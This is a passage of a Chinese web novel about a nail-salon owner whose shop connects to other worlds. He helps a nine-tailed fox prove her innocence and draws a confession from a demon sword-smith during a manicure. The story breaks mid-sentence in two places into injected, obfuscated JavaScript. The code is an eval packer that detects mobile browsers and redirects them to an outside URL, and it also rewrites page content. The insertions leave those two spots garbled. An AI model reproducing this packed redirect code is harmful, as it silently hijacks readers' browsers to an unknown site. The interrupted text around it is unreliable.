陆槐委婉道:“还有不少管理员依旧认定这件事与苏姑娘有关……” 苏秋水吸吮烟嘴的动作一顿,斜眼看向陆槐身后那些人,如云的烟雾升腾,缓缓盖过眼尾红妆。 “等等,你们不是能管理位面吗?” 宁知夏打断道,“这都查不到真凶?” “因为……” 陆槐面无表情地看着他,“许久没有启用的位面连接点在昨晚突然打开,导致该位面脱离管理局控制,无法监控。” 许久没有启用的位面连接点……噢,那不就是我的店。 一口大锅绕了圈,最终悬在了自己头顶。 宁知夏倏地抬头看向陆槐。 兄弟,这是点我呢! 陆槐干咳一声:“不过也正是如此,苏姑娘说昨夜与你见过,所以请你来,一是告知清溪路19号的作用,二是当着各位的面为她作证。” 宁知夏恍然大悟:“哦,我懂了。” 他指向苏秋水。 奥德罗:“管理员们认定的头号嫌疑人。” 宁知夏指向自己。 奥德罗:“嫌疑人指定的证人。” 宁知夏绷着脸指向陆槐。 陆槐学会抢答:“调查员。” 宁知夏觉得犯了头疯:“我、我再缓缓……” “理解,你想缓多久都行。” 陆槐耸了耸肩,“毕竟你太爷爷第一次来时,直接拿凳子砸我,骂我宝批龙。” 哇,不愧是太爷爷呢。 等等,我太爷爷?! 宁知夏错愕地看向陆槐。 这位年轻的调査员看起来与自己差不多大,宁知夏狐疑道:“别唬我,人哪能活这么久?” “人?” 话音一落,除了苏秋水,屋里其余管理员都望过来,一张张相似的脸上渐渐露出古怪的笑容。 他们有些怪异的视线密集地落在头顶,宁知夏脑后一阵阵发麻,背脊骤然蹿出股寒意,不安地朝身旁挪了挪屁股。 身后一只冰冷的手撑住了他的身体,宁知夏像只受惊的小动物,应激般地一耸。 奥德罗疑惑地看着他,忽然唇角微动,拍了拍宁知夏的脑袋,像在摸一只笨笨小狗。 浅蓝眼瞳仿佛褪去柔和的朦胧水雾,呈现诡谲的妖异。 宁知夏终于感觉到了不对劲:“怎、怎么了吗?” 奥德罗意味不明道—— “我有说过,我们是人吗?” 4. 来我家洗洗 “你们当然不是人!全是一群眼瞎的狗东西!” 宁知夏被突如其来的暴诃吓得一耸,火焰状的阴影缓缓笼罩在头顶,霎时间,惊呼与尖叫在房间里此起彼伏。 “哇哇哇!” “狐狸发狂要吃我啦!” “救命救命!” “什么管理局,什么天道,都是一群该杀的狠心神仙,和泥巴人一样可恶!人都请来了竟然还不信我!” 苏秋水对那群管理员的耐心告罄,九条粗壮的大尾巴忍无可忍地从裙底腾起,抓小鸡似的把又哭又叫的管理员们一抓一个准地捆起来,像晃汽水瓶般上下摇晃,边摇边吼,“说了不是我杀的就不是我!听见没!听见没!” “苏姑娘,你先……诶诶诶!” 陆槐躲避着同事们吐出的白沫泡泡,刚想劝她冷静,话还没完,脖子一紧,被尾巴直接卷到她面前。 “过来吧你!” 妩媚明艳的美人面刹那间目眦欲裂,密密麻麻的白毛从皮肤浮现,陆槐毛骨悚然,紧张到极点,忽见她唰地举起她亮晶晶的双手—— “看见没!这叫……哦对!这叫美甲!那晚为了做这玩意儿,老娘屁股都快坐断两根尾巴!” 十指流光溢彩,晃得像眼前冒出的金星,苏秋水恨不得挨个展示自己用金簪换来的华子钻,奈何一群管理员快被勒到断气,只顾着摇头晃脑地呼救。 “你们看!为什么不看!看!都给老娘睁眼看!” 她愈发恼怒,张牙舞爪将嘴直接咧到了耳根处,露出两排密密麻麻的三角形尖齿。 “嗬——” 大变活狐的场面太过触目惊心,宁知夏寒毛直立只觉受到巨大的精神冲击。 他噌地一下起身,像只被逼到绝路的杰瑞,弱小无助地自己给自己掐人中,声音颤抖道:“秋水、秋水老师…你、你的头……” 身披华服的妖兽身形一顿,朝他扭过狰狞的狐狸脑袋,脖子骨节发出令人牙酸的咔咔声响,变得越来越长,眯着兽瞳悬停在青年头顶。 而那具人形身体还在几米外痛心疾首捶胸口,就像在说—— 而你,我的朋友,一个虚假的福瑞控! 宁知夏捧着心口深呼吸,深怕自己一个不留神撅过去把宁公好狐的名声坐实,伤了大客户的心。 苏秋水不懂自己现在的模样有多怪异,随着白雾弥漫,房间里径直出现了只雪白色的大狐狸,霸道地占据了快三分之一的地盘。 “不就是从前吃过十来个负心汉,非要死抓着不放,不是劈过我了吗!怎么一出事还要劈我!” 大狐狸用尾巴卷住管理员们左右乱晃,仰头气闷地嘤了一声翻倒在地,四脚朝天着肆无忌惮地撒泼扑腾。 它一爪垫蹬去,墙壁霎时皲裂出蛛网般的裂痕,“我只是一只漂亮狐狸,你们怎么能如此对我!” 地面震动,宁知夏摔了个屁股蹲:“……” 这什么暴力哈基米! 他预感大事不妙,揉着屁股爬起来,然而下一秒,蜿蜒的缝隙从地板裂出,随着咔嚓一声碎屑四溅,全体人员在狐狸的嘤嘤声中失重般向下跌落。 宁知夏吓出猴叫:“哦莫哦莫哦莫!我要摔死啦!” “嗒。” 一声清脆的响指像是按下了暂停键。 崩裂的木板,跌落的卷宗,倾斜的长桌……宁知夏惊奇地发现,所有的事物悬停在半空,随后如同被反方向旋转的时钟控制般,疾速退回至混乱的前夕。 他看得愣神,忽觉衣领被人拽住往回一扯。 奥德罗在震荡的屋里,捞到了快被沙发压成饼的宁知夏,在他没来得及反应之前,顺手重重地拍了一下狐狸的黑鼻头。 “嘤!” 狐狸倏地一抖,大抵是被拍疼了,顿时坐起来用爪子捂鼻头哇哇大哭,“都不信我就算了,居然还要打我……” 它的声音又尖又细,撇着飞机耳急促地嘤嘤起来,像根针插入耳膜搅弄得脑瓜子疼。 奥德罗蹙眉,左右看看满屋狼藉,把捂耳朵的宁知夏往它面前一放,提醒道:“你的证人,他信。” “嘤?” 狐狸止住小儿夜啼般的哭嚎,蓦地趴下身,把黑鼻头往宁知夏肚皮一杵,泪光闪闪道:“真的吗?” “真的真的,我信你的。” 宁知夏缓过劲儿来,踮脚摸着狐狸的吻部,“这不是头次来,还在听陆槐说前因后果嘛,你别急呀,总要给我点缓冲的时间对不?” 苏秋水:“那你现在缓冲好了吗?” 宁知夏顶着人中红通通的月牙印,点头:“好了。” 他要是迟疑片刻,这间屋子多半立马变回迪斯科大转盘,一群人在里面哐当哐当,不把脑花摇散都走不出这屋。 比起刚才的怪异形态,现在的苏秋水不过是个挠挠下巴就能撇着耳朵呼噜的白狐狸,也就是尾巴多一点,体型大一点…… 略略思索,宁知夏觉得完全能接受,况且这还是一只爱做美甲的狐狐。 “嘤……宁老板你真好!”狐狸用大脑袋挤开旁边的奥德罗,亲昵地在宁知夏肩头蹭蹭。 宁知夏:“不客气哈。” 苏秋水更加感动:“怪不得你闻起来要比我那儿的泥巴人香一些!” “…………” 宁知夏脸色忽变,沉默地将快流哈喇子的毛脑袋轻轻推开。 趁着狐狸松懈的功夫,半死不活的管理员们总算被尾巴松开,有气无力地趴在地上吐泡泡。 陆槐撑着墙壁起身:“咳…咳咳……” 宁知夏:“上线了?” 陆槐一怔,莫名觉得这话听起来像“你原来还活着”。 暗红兽瞳里的眼珠跟着移动,陆槐警惕地站到沉默寡言的上司身后。 奥德罗摊开手,狐狸低头看看,自觉地把自己的前爪抬起来虚放上去。 “你弄的?” 苏秋水期待地看向宁知夏。 宁知夏反应过来说的指甲,承认道:“对对,昨晚快七点半时她过来的,因为做的是复杂款弄了挺久。” 苏秋水走后不久,店外就恢复正常,从位面连接时间来看,她可是满打满算都坐在店里练铁臀功。 “看来出现妖祸时,狐狸不在场。”奥德罗起身,明显是打算收工。 陆槐赶紧又问道,“可有佐证?” “额……秋水留了金簪,然后在二维码里变成了钱。”宁知夏抓抓头发,说了付款记录的异样。 陆槐想了想,解释:“因为位面系统在昨晚受损,不然会通过位面管理局在这个位面的账户向你转账。” 还能这样? 宁知夏恍然大悟,想到即使系统受损,收到的报酬也被融入从前的其他收入中,原来这就是位面规则的力量。 苏秋水有点失望:“那就是没证据了……” “也不是……”宁知夏摸了摸沮丧的狐狸脑袋,把手机翻出来说,“你们看这个算不算?” 那是今天收到的评论,看起来很符合苏秋水的语气。 “诶,这不是我心里想的吗?”狐狸歪头,用爪子的指甲尖碰碰那个小方块,“好神奇的法器,竟然熟知狐心!” 奥德罗:“那是心声。” 宁知夏茫然:“啥?” “连接点有不同位面的异物来往,产生一定满足度后会自动生成评价。” 奥德罗松开门把手,“这是连接点吸取能量的方式。” “哈哈哈哈!真是天助我也!” 猖狂的笑声顿时响起,白雾弥漫,体型硕大的白狐狸重新变回妖艳美人。 峰回路转,苏秋水吸了口烟支棱起来,眯着眼用细长烟杆勾起陆槐下巴,“小神仙,你可还有什么要问的?” 陆槐被吐在脸上的白烟呛得脸色微红:“没、没了……我们会让新的天道小组尽快修复系统连接103号位面,重新理清因果后自会对真凶降下天罚……” 听起来效率好慢,奥德罗看向管理员们的眼神像在看一群咸鱼干。 这时,宁知夏像个乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719032|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧的好学生般举手:“脱离控制就相当于你们失去上帝视角对吧?” 奥德罗点头:“嗯。” 宁知夏头顶亮起小灯泡:“那不如让秋水去查真相,天道小组继续修复系统,同时进行怎么样?” 苏秋水瞬间眼冒精光,耳朵立得笔直。 好好好,这不得让她抓住是哪个龟孙儿敢嫁祸在自己头上! 一些管理员却神色慌张,放任九尾调査很难保证她不会失控,正想开口劝阻—— “狐狸。” 奥德罗叫住苏秋水,像丢了个精灵球,“去吧。” “真的吗!多谢了!” 苏秋水摩拳擦掌,从陆槐为她打开的通道离开,新任命的天道小组想起前辈的惨状,灭了敷衍了事的心思,赶紧埋头忙碌。 一切重回秩序,就像刚才的混乱不曾发生。 宁知夏看着这群面无表情的管理员,正在心里悄悄感叹牛马真是无处不在时,似有所感地一回头,奥德罗站在了门口。 他说:“我送你回去。” 宁知夏客气道:“也不用,我自己就……” 奥德罗:“你出不去。送完你,我就下班。” 触发敏感词汇,身后噼里啪啦的键盘声短暂停顿。 宁知夏果断道:“走着。” 他怕奥德罗再说下去,他的那群下属要开始罢工游行了。 漆黑的轿车再次在道路飞驰,与来时不同,回程路上宁知夏没有再戴眼罩,除了几道白光闪过,路面的街景渐渐变得熟悉。 他扭头看去,淅淅沥沥的雨线斜飞,挂了车窗满面水珠,原来已经到了傍晚。 到了路口,奥德罗撑着伞下车,走了两步,似乎是没听见吧嗒吧嗒的脚步声,又回头停下,嘴唇轻抿。 “为什么不过来。” 宁知夏愣了一下,连忙凑近跟在他伞下躲雨,密集的雨点砸在伞面。 他忽然意识到,奥德罗说的“送回来”,好像很严格地指定从哪里带走,就送回到哪里。 路口离19号也没几步路,怪物美甲店的招牌在雨幕灯光中若隐若现,宁知夏回想着今天的经历,觉得这店名取得还真是合适。 “喵呜!喵呜!” 思索之间,快要见到木色的店门,几只路边蹲了半天的毛团扭动着屁股,似乎是嗅见喜欢的气息,灵活地拐弯扑去—— “我嘞个去!” 宁知夏被吓了一大跳,他垂眼看去,自己没什么事,身旁的人浅灰衬衫上多出了好几个爪爪泥印。 奥德罗抓住一只橘色的罪魁祸首,那家伙还恬不知耻地用甜腻的夹子音“咪咪”叫。 宁知夏撇撇嘴,真可恶啊,都快成年了,还学小奶猫叫唤。 奥德罗偏头看他一眼:“你的?” 宁知夏连忙摆手:“是附近的流浪猫,喂过几次被赖上了,一般来回在临近的几家店窜,吃百家饭的。” 奥德罗把猫提到眼前,露出怪不得的表情:“脸圆,挺胖的。” “别这样说,这都是因为……” 宁知夏皱眉,捂住小猫耳朵,“它复杂的身世。” 奥德罗有点兴趣:“怎么说?” 宁知夏望着凄凄冷雨,感叹:“一个是英伦海归,一个是东方美狸,若说没奇缘,今生偏又遇着他……” 奥德罗疑惑:“……嗯?” 宁知夏笑眯眯道:“串哒。” 空气骤然安静,只余雨水的滴答轻响。 奥德罗沉默片刻,把猫放下,撑着的伞从宁知夏头顶移过,自顾自地说:“走吧。” “……” 嚯,还挺有脾气的。 宁知夏用外套盖住头顶,像朵小蘑菇似的一声不吭地跟在他后面。 不就是淋点雨嘛,他还真就…… 吃不了这个苦。 宁知夏冲他说道:“去我家洗洗吧?” “行。” 清冷的声音落下,那把远去的伞又拐了回来,停在了青年头顶。 5. 美甲师的技能 店外的花架中间搁了把黑伞,没一会儿就多了几只小猫缩在里面好奇张望。 “里面是洗手间,有干净的毛巾和吹风机。” 宁知夏朝屋里指了指,两人认识的时间太短算不上熟,过于安静的气氛更显尴尬,等奥德罗进去后,他随手把电视打开。 春日就是雨水多,窗台被晕出一团深色看着有些斑驳,宁知夏蹙眉,拿了吸水布过去慢慢擦拭,青苔里湿润的土腥气幽幽窜进鼻腔。 本该是绝佳好眠的气氛里,房门震动,听起来像什么硬物有规律地敲击门板。 “哚哚。” “哚哚。” “……” 宁知夏看向时钟,果然是熟悉的七点二十八分。 梅开二度,他暂时不想开门。 僵持之际,屋外的动静转眼间渐渐消停,宁知夏侧耳听了一阵,终究是没忍住好奇心,眯着眼从猫眼往外看—— 只见有道人影像是倚在美人榻上翻弄书卷,隔着一架绢素屏风,屋外景象仿佛是场皮影戏。 晃动的灯花忽明忽暗,她起身添油,身影逐渐与背后的一团黑影重合,她似有所感地扭过头,不知是看见什么,发出极为凄惨的尖叫。 “噗嗤!” 利器穿透胸膛皮肉,飞溅的血花在素色屏心喷涌出一树红梅。 玉簪坠地落出一声脆响,女人乌发披散倒在地上,半截身体从屏风后露出。她缓缓侧过脸,半张脸浸满血污,瞪大眼睛直勾勾地与呆滞的青年对视。 “唔!!!” 一股颤栗从尾椎骨往上窜,宁知夏顾不得害怕,扯着嗓子扬声大喊,“奥德罗!快快快!屋外有人杀人了!” 洗手间的门打开,奥德罗闻声安静地出来,他身上衣服已经打理干净,看起来相当舒适清爽。 不过现在就算对方在泥潭里滚了圈,宁知夏也不会介意。 他像看见救星般激动得小跑过去,谁料膝盖发软绊了一跤,跪扑着在光洁的地板呲溜滑行。 面对突如其来的飘逸炫技,奥德罗顿住脚步:“妙。” “……” 空气像被抽走般令人窒息,宁知夏张了张嘴,电视屏幕里适时传出爽朗雄浑的笑声—— “哈哈哈哈哈爱妃快快请起。” 宁知夏:“…………” 尴尬的气氛消失得无影无踪,他面无表情地撑地起来,拍拍膝盖,在心底有来有回地默了声。 嗻。 奥德罗没有在意他脸上变来变去的小表情,只朝房门的方向扫了一眼:“叫我?” “嗯嗯嗯!” 宁知夏拉着他朝门口走,“又连接到其他位面了,我没敢开门,但是从猫眼看见有个姑娘死了!” 奥德罗点头,轻飘飘地“嗯”了一声,直接按住了门把往下压,在宁知夏小小的惊呼声中若无其事地把门打开。 阴冷的风吹得银灰色的长发飘散,出乎意料,门外那些绿幽幽的诡异光点闪烁,除了地上躺着一柄沾血的剑,别的什么都没有。 宁知夏从他身后探头,回想刚刚硬物击打的敲门声,咽了咽唾沫。 他喃喃道:“居然是真的,刚刚就是这把剑插她胸口……” 奥德罗闻言,把剑捡起来顺手关上了门:“你看见了什么?” “隔着很素雅的曲屏,有个姑娘在看书……”宁知夏比划着复述刚刚的景象。 奥德罗:“看见凶手了吗?” 宁知夏回想一番,迟疑地点点头。 奥德罗问:“什么样子?” 宁知夏谦虚表示:“我可能描述得比较抽象。” 奥德罗好奇:“有多抽象?” 宁知夏压低声音,认真且神秘兮兮说:“像柯南里的小黑。” “……?” 奥德罗沉默几秒,改问,“女的呢?” “嗯……这个……” 宁知夏抓抓头发,瞥见工作台的纸笔,直接把刚才的景象画了出来。 奥德罗只看了一眼,便说道:“她是无心尸体之一,昨晚死了。” “昨晚?那、那刚才我看见的……” 宁知夏看向那柄剑,满眼震惊。 真是万万没想到自己还能通灵,以后岂不是又多个副业,按照这种金手指套路,接下来就要在富豪名流中走红,出道娱乐圈名利双收! 美得很美得很。 明亮柔和的灯光下,无人在意停滞不前的时钟,奥德罗握住剑柄把它从头看到尾,浅色瞳孔里带着白日不曾见过的漠然,就像谁杀了谁,谁做的恶,他并不好奇也不关心。 宁知夏在脑子里过完瘾,背着手踱步来到他身边,见他半天不吭声,摇头“啧啧”两声。 奥德罗抬眼,略微迟疑,把剑往他面前凑:“见过?” “嗐,那可不。”宁知夏反问道,“知道碧落山吗?” 那是余城郊外历史悠久的名山。 奥德罗眯着眼不确定他要说什么,思索几秒,还是点了点头。 宁知夏朝剑努努嘴:“半山腰的道观门口,这玩意儿,五十块三把!” “…………” 果然。 奥德罗目光沉沉地看他一眼,把剑从他眼前拿走。 宁知夏疑惑:“欸,不再问问我了吗?” 奥德罗摇头,很笃定地说:“不了。” 那柄带血的短剑最后还是被奥德罗带走了,照他的说法,这东西属于103号位面,交给苏秋水当做线索调查更合适。 宁知夏照旧在美甲店悠闲度日,晚上到了位面连接的时刻,冷冽绿光成双成对地在屋外游移,庆幸的是没有上前打扰。 这样也好,少了许多被当生骨肉的烦恼。 不过只隔了一天,苏秋水再次来到店里。 她根据奥德罗给的那柄短剑,费了不少力气抓到了一只名叫山骨的铸剑师大妖。 那柄剑出自它手,可惜对方似乎是受制于人,死活不肯透露为谁而铸。 宁知夏问:“现在它在哪儿?” “准备送去管理局呢。”苏秋水气闷道,“它真身是块顽石,我真是拿它一点办法都没有!” 宁知夏想了想,提议道:“也不用那么麻烦,带过来我帮你审。” “嗯?” 苏秋水轻抬眉梢,惊讶地看向面前的青年,发现对方不似说笑,没有过多犹豫,直接点头答应下来。 她动作雷厉风行,离去没多久,又重新回来,摇晃着尾巴将门拉开。 黑漆漆的夜色里亮起四对红色光点,随着尖甲落在地板的脆响,宁知夏看清了门口的动静,神色骤然松懈。 敞开的屋门口,两只毛茸茸的白狐狸正咬着红绳,嘿咻嘿咻地用力扯着身后的妖物,还有两只在旁边用鼻头时不时戳那妖物两下,伏低身体发出凶唧唧的叫唤。 “可以了,就到这儿吧。” 等苏秋水一点头,小狐狸们丢开红绳,欢喜地在她面前打了个滚,见宁知夏伸头看过来了,缩了缩脖子,连成一串扭着屁股哒哒哒地跑出屋外。 纣王快乐兽果然魅力无穷,宁知夏都快看出星星眼了,耳边忽然传来厉声怒吼。 “哼!苏秋水你少玩把戏!把老子弄到个什么鬼地方!” 一身黑衣的圆脸女人被红绳捆住,转着脑袋四处张望。 苏秋水翻了个白眼,一手拿着烟斗,一手将山骨用力往前推。 台灯“啪嗒”一声打开,有个面带和善微笑的青年坐在光亮处,友好地招招手。 “嗨~^_^” 山骨耸了耸鼻尖,神情疑惑:“你谁?闻着怪香的。” 宁知夏自顾自地掏出前置工具:“不重要,平平无奇的手艺人而已。” “手艺人?” 山骨盯了他一阵,忽而冷笑起来 ,“好呀,狐狸真是越活越没用了,还以为是想了什么恶毒法子……居然是让个没法力的凡人帮忙!” 宁知夏摇头:“她是想知道你为谁做的那柄剑,不过你不说她也没办法。” 山骨神情得意,冲他抬抬下巴:“既然你们知道,还把我弄这儿是想干嘛?” “是我听说了最近的事,请秋水带你来,大家缓和一下关系嘛。” “原来是硬的不行要来软的。”山骨摆手不屑,“你区区凡人,既不能为我效力也没有奇珍异宝,能给我什么好处。” 宁知夏微微一笑,拽住了她的手放到松软的手枕垫:“我自有我的能耐。” 山骨面露狐疑,想要把手缩回来,肩膀却被苏秋水伸手按住。 搭在黑衣的手指流光溢彩,精美至极,苏秋水轻笑道:“瞧见没,这就是宁老板给我弄的,我可是特意带你来这一趟。” 山骨扭头不看,她的五指粗短,指甲周围粗糙暗沉死皮堆积,因为铸剑的缘故,对手上护理并不在意。 宁知夏垂眼略略打量,就知她习惯,当即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719033|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收回了闪耀精美的装饰盒。 因为这些东西必定是用不上了。 “你放心,我可不会做自砸招牌的事。”宁知夏放缓声音安抚,趁她神情稍缓,直接抽出了搓条上手。 这只妖物比较敏感,要想她放松下来必定是不能用打磨机了。用搓条修磨甲型比较费力,但简单粗暴上手快,要是用熟练了,比打磨机更节约时间。 宁知夏比划两下选了个顺手的角度,贴在甲缝快速轻柔地一拉一放,轻重得当的触感让握住的手稍稍松懈。 他明知故问般开口:“觉得怎么样,要轻一点吗?” “还行,不用。” 山骨伸着脑袋看他动作,寻思着他手上那根条条还怪好用。 没等她看过瘾,宁知夏沾了软化剂涂在甲面边缘,等到两只手涂好,又用钢推拨弄死皮边缘。 这是不少客人害怕的步骤,太轻又慢又没效果,太重又折腾客人。 宁知夏在自己的手上练过,知道什么力度最合适高效。他用薄款钢推放低着力点,有节奏地轻推死皮后缘,软化的死皮沿着拱形后缘堆积起来,随后直接利落地被弯剪修整干净。 山骨舒适地哼哼两声,觉得有点解压。 短圆方的甲型再去除甲面死皮,视觉上看过去,粗短手指变得精致富贵起来。 她愣神细看,眯着眼催促:“继续。” “行啊,你喜欢就好。” 宁知夏给她刷着底胶,漫不经心道:“像你这种有名气的大铸剑师,没有下属弟子吗?” 山骨想着不过是闲聊,随口答应:“有啊。” 宁知夏感叹:“那你何必亲力亲为,多伤手啊。” “我也不想,只是……”山骨止住话头,心里忽然生出些警惕,探究地看过去。 对方却像没事人般拍拍桌面:“来,换手。” “哦,好。” 山骨被打断思路,腾出手搭到手枕,还欲细想,又听他拍着桌面,“涂好的要照灯哦。” 山骨低头看着圆弧形的法器,试探地把手伸进去,细细观察着突然亮起的紫光。 宁知夏忽然间又接起了先才的话头:“我懂,肯定是遇上了难缠的甲方精益求精,指定要最厉害的铸剑师亲制。” “我确实是最厉害的。” 山骨听得飘飘然,疑惑道,“什么是甲方?” “就是给点好处就有一箩筐要求等着你的家伙。” 山骨眼神似有波动,不住地点头:“对对对!” 宁知夏话锋一转:“可是你这样级别的大师……应该遇不到这种人吧?我看过那柄短剑,当真是精巧。” “哼,算你有点眼光。” 话匣子打开,山骨又是叹气又是恼怒:“他们那群家伙吹毛求疵,重做好多次。” 宁知夏惊讶:“哎呀,怎么会这样。” “因为……” 山骨似乎察觉自己话太多了,赶紧把嘴闭上,暗地里瞅了宁知夏一眼。 而眼前的青年似乎没有别的心思,还在义愤填膺地骂着:“真是难伺候,嘴上说相信你的能力,你看着办……诶等方案一交,又是长篇大论的修改意见…来,换手。” “哦哦。” 山骨恍惚间感遇知音,乖乖照做,“你说得太对了,我给你说啊这剑不知花我多少心血……” “当手艺人真难。” 宁知夏附和着,拍拍桌面。 山骨不需提醒边说边换手,说干了嘴还低头啜了口推过来的热茶。 宁知夏笑道:“我不想伺候就直接辞职,你要是不开心也不做就是了。” “不行啊……” “怎么呢?来,换手。” 又是熟悉的拍桌声。 山骨跟着动作,一个岔神,本该紧闭的嘴巴像是自己有自己的想法,跟着就往外吐话,“他们能把我关进锁妖塔沉入海底……” 话音一落,宁知夏手上的动作也随之停止。 角落里,耐心等待已久的苏秋水从沙发里起身,露出阴恻恻的笑容:“原来,是他们干的好事……” “你们——” 山骨捂住嘴欲哭无泪,因为违背了与雇主保密的诺言,惊恐的面容逐渐开始石化。 “本次美甲吐真言服务到此结束……” 宁知夏起身同苏秋水握了握手,笑眯眯地扭头,对变回石头的山骨说—— “欢迎下次光临!” 6. 爆款神图 “宁老板,这次多谢你了!” “小事一桩。” 苏秋水看着宁知夏,越看越像一个大宝贝。 能用锁妖塔的只有皇城那群驱邪师,事情已有眉目,她不再叨扰,揣起石头满心欢喜地同大宝贝告别。 没过两天,宁知夏被奥德罗再次邀去位面管理局。 这次的房间是间装潢温馨的休息室,许多装着精致甜点的瓷碟飘浮在空中。 宁知夏捧着温热的奶茶杯,从陆槐口中得知了事情原委。 103号位面妖灵无数,驱邪师们为了巩固信徒,故意伪装成妖邪挖心作乱,皇城愈是恐慌,驱邪师的地位愈是水涨船高。 宁知夏唯一觉得奇怪的是,那柄作为凶器的短剑为什么会找上门。 “心脏最具生机灵气,他们装成我的习惯挖出心脏却又舍不得丢,让山骨用人心铸剑加强法器。” 苏秋水抛玩着手里的石头,偏头凑近烟嘴吸吮,“那姑娘大抵心存怨念附于剑器,从山骨手上逃走后在妖市胡乱徘徊。” 宁知夏端着奥德罗给他的一叠小蛋糕嚼嚼,闻言感叹:“还真是机缘巧合……她也算给自己报了仇。” “人心坏起来比妖可怕多了。”苏秋水眼尾上挑,看向奥德罗,“您说是吧?” 奥德罗似乎知道自己不会无缘无故被cue,放下蛋糕碟问道:“想要补偿?” “这个自然。” 苏秋水早就计划好了,烟杆朝下点了点,“别的我不稀罕,我就要这个世界的永久通行证。” “什么?!” 陆槐与一众管理员瞬间变了脸色。 宁知夏小声问陆槐:“不行吗?” 陆槐叹气:“每个位面都有自己的规则,像九尾这种位面刺头胡乱穿行,难保不会捅出篓子,我觉得……” 奥德罗:“可以。” 一道声音落下,众人震惊,居然就这么点头同意了! “太好了!” 苏秋水开心至极,余光瞥见面如死灰的陆槐,尾巴一捆把他拽过来搂住,笑嘻嘻地亲了一口。 奥德罗忽然严肃:“非礼管理局公职人员,收回特权。” 陆槐双手合十:“感恩!” 苏秋水:“……?” 快乐太过短暂,就像粗茶淡饭。 “好哇,你耍我!” 苏秋水反应过来,立马丢开陆槐预备变回原形上蹿下跳,宁知夏条件反射抱住沙发,随时准备沉浸式体验迪斯科大转盘。 奥德罗重新端起蛋糕碟,继续说,“改144小时限制游。” 苏秋水动作一顿,歪头思考几秒,觉得比全部收回靠谱,咬牙切齿地答应:“也行。” 宁知夏表情复杂:“你心好脏。” 奥德罗叉起一块蛋糕,直接往青年嘴里塞:“乱讲。” 宁知夏嘴巴鼓鼓:“……” 当作待客茶点的小蛋糕口感绵密,奶油醇厚丝滑,只是这里的甜品实在丰富,宁知夏啜了口奶茶,摸着肚子中场休息。 他扭头问奥德罗:“听陆槐说你刚上任没多久?” 奥德罗点头:“嗯。” 宁知夏有点好奇:“那类似位面脱离控制的这种事,管理局从前怎么处理的?” 奥德罗思索片刻,老实说:“主神喜欢抽取其他位面意外死亡的灵魂,植入系统陪同进入。” 宁知夏顿住,唔,听起来好熟悉。 奥德罗含住叉子残余的奶油,偏头道,“不过很容易产生旁支的感情纠葛,我个人不建议采用。” 旁支的感情纠葛? 宁知夏瞳孔颤动,系统文的总部原来在这里! 奥德罗见他神情恍惚,好奇凑近问:“你怎么了?” “没事。” 宁知夏摇摇头,“信息量进脑进得有点太唐突。” 闲聊之际,新的天道小组过来汇报,已经与103号位面重新连接,苏秋水闻言悠闲地摇动尾巴。 宁知夏一愣:“你们打算怎么处理?” 奥德罗从沙发起身,准备随下属离开充满甜腻香气的休息室,闻言停在门口犹豫片刻,回头问:“一起?” 宁知夏蹭过去:“走着!” 他们往楼下走了一层,进入了写有“103号”的房间,里面布置与寻常办公室没什么区别,只是面对门口的整面墙壁都是泛着白光的巨型屏幕。 此时皇宫新建的观星台金砖铺地,琉璃做瓦,驱邪师通身锦绣华服气派无比,让弟子将捉来的妖灵投入三足鼎中。 从观星楼远眺至郊外,尸横遍野,血流成河,衣着褴褛的百姓双膝跪地虔诚地面向高楼的方向,又是磕头又是念念有词,头破血流却不停歇,只祈求能得到庇护,让家人平安远离妖祸。 宁知夏轻松的表情僵在脸上,亲眼目睹带来的观感过于强烈,尽管对于自己只是个陌生的、毫不相干的世界,愤怒仍旧在心底渐渐燃起。 奥德罗对等候指令的天道小组说道:“核算好了就动手吧。” “是。” 很快,屏幕里的天空瞬时黑云密布,驱邪师欣喜若狂,只当天象也愿意为之造势,无数百姓也伸长脖子见证他们做法诛妖。 雷声轰鸣,一道道紫光在驱邪师咒语念完之前疾速落下,随着连续不断的巨响,观星台火花炸裂,众人纷纷惊惧捂眼。 等一束刺目的亮光从云层穿透而下,他们发现,自诩天神使者的驱邪师成了数块焦炭,而三足鼎完好无损,只是里面的妖灵早已不知所踪…… 像是巨石砸落,虽是尘埃落定,宁知夏心口犹有震撼的余波。 他侧头向身旁看去,屏幕里的白光镀在奥德罗银灰色的长发,像是给他添染了几分神性,看起来与俯瞰蝼蚁的神明并无区别。 “祸福无门,惟人自召;善恶之报,如影随形。” 似乎是感应到青年的目光,奥德罗神情自若,“103号的规则挺有意思,我只是它的维护者。” 涌动在内心的不安与惘然渐渐消散,宁知夏点了点头,随他回到了休息室。 苏秋水见他们回来,倒也没追问发生了什么,摇动尾巴迎上来。 她拉住宁知夏的手上下摇晃:“宁老板,这次多谢你了,以后我会常来照顾生意的!” “嘿嘿,不客气。” 宁知夏抓抓头发,摸出手机说,“如果你不介意的话,我想请你当手模,拍点照片放在店铺账号里当宣传图。” “不介意!” 苏秋水伸出双手放在镜头底下,屏幕里空无一物。 苏秋水:“……” 宁知夏:“……” 该死,位面的设定好严格。 他望向奥德罗,目光闪烁,意思相当明确:小奥,帮帮。 奥德罗会意,拿走手机交给技术组,很快又拿回来让他们拍照。 他也没走开,微微偏着头,浅蓝瞳孔一眨不眨地看了会儿,转身去拿了碟小蛋糕过来,安静地留在一旁继续边吃边看宁知夏摆弄布置。 